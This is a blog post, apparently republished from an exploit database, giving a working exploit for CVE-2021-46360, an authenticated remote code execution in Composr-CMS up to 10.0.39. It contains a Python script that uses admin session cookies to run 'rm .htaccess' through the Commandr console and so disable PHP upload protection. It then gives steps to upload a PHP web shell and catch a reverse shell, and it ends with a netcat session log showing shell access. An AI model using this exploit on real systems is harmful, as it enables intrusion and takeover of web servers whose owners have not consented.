Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86388836

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 12th January,2022
# CVE ID: CVE-2021-46360
# Confirmed on release 10.0.39 using XAMPP on Ubuntu Linux 20.04.3 LTS
# Reference: https://github.com/sartlabs/0days/blob/main/Composr-CMS/Exploit.py
# Vendor: https://compo.sr/download.htm

###############################################
#Step1- We should have the admin credentials, once we logged in, we can disable the php file uploading protection, you can also do this manually via Menu- Tools=>Commandr

#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import time

cookies = {
    'has_cookies': '1',
    'PHPSESSID': 'ddf2e7c8ff1000a7c27b132b003e1f5c',                   #You need to change this as it is dynamic
    'commandr_dir': 'L3Jhdy91cGxvYWRzL2ZpbGVkdW1wLw%3D%3D',
    'last_visit': '1641783779',
    'cms_session__b804794760e0b94ca2d3fac79ee580a9': 'ef14cc258d93a',  #You need to change this as it is dynamic
}

headers = {
    'Connection': 'keep-alive',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Accept': '*/*',
    'Origin': 'http://192.168.56.116',
    'Referer': 'http://192.168.56.116/composr-cms/adminzone/index.php?page=admin-commandr',
    'Accept-Language': 'en-US,en;q=0.9',
}

params = (
    ('keep_session', 'ef14cc258d93a'), #You need to change this as it is dynamic
)

data = {
  '_data': 'command=rm .htaccess',  # This command will delete the .htaccess means disables the protection so that we can upload the .php extension file (Possibly the php shell)
  'csrf_token': 'ef14cc258d93a'  #You need to change this as it is dynamic
}


r = requests.post('http://192.168.56.116/composr-cms/data/commandr.php?keep_session=ef14cc258d93a', headers=headers, params=params, cookies=cookies, data=data, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
#datap=response.read()
print (soup)
    
#Step2- Now visit the Content=>File/Media Library and then upload any .php web shell (
#Step 3 Now visit http://IP_Address/composr-cms/uploads/filedump/php-reverse-shell.php and get the reverse shell:

┌─[ci@parrot]─[~]
└──╼ $nc -lvvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.116] 58984
Linux CVE-Hunting-Linux 5.11.0-44-generic #48~20.04.2-Ubuntu SMP Tue Dec 14 15:36:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 13:35:13 up 20:11,  1 user,  load average: 0.00, 0.01, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     :0       :0               Thu17   ?xdm?  46:51   0.04s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ pwd
/
$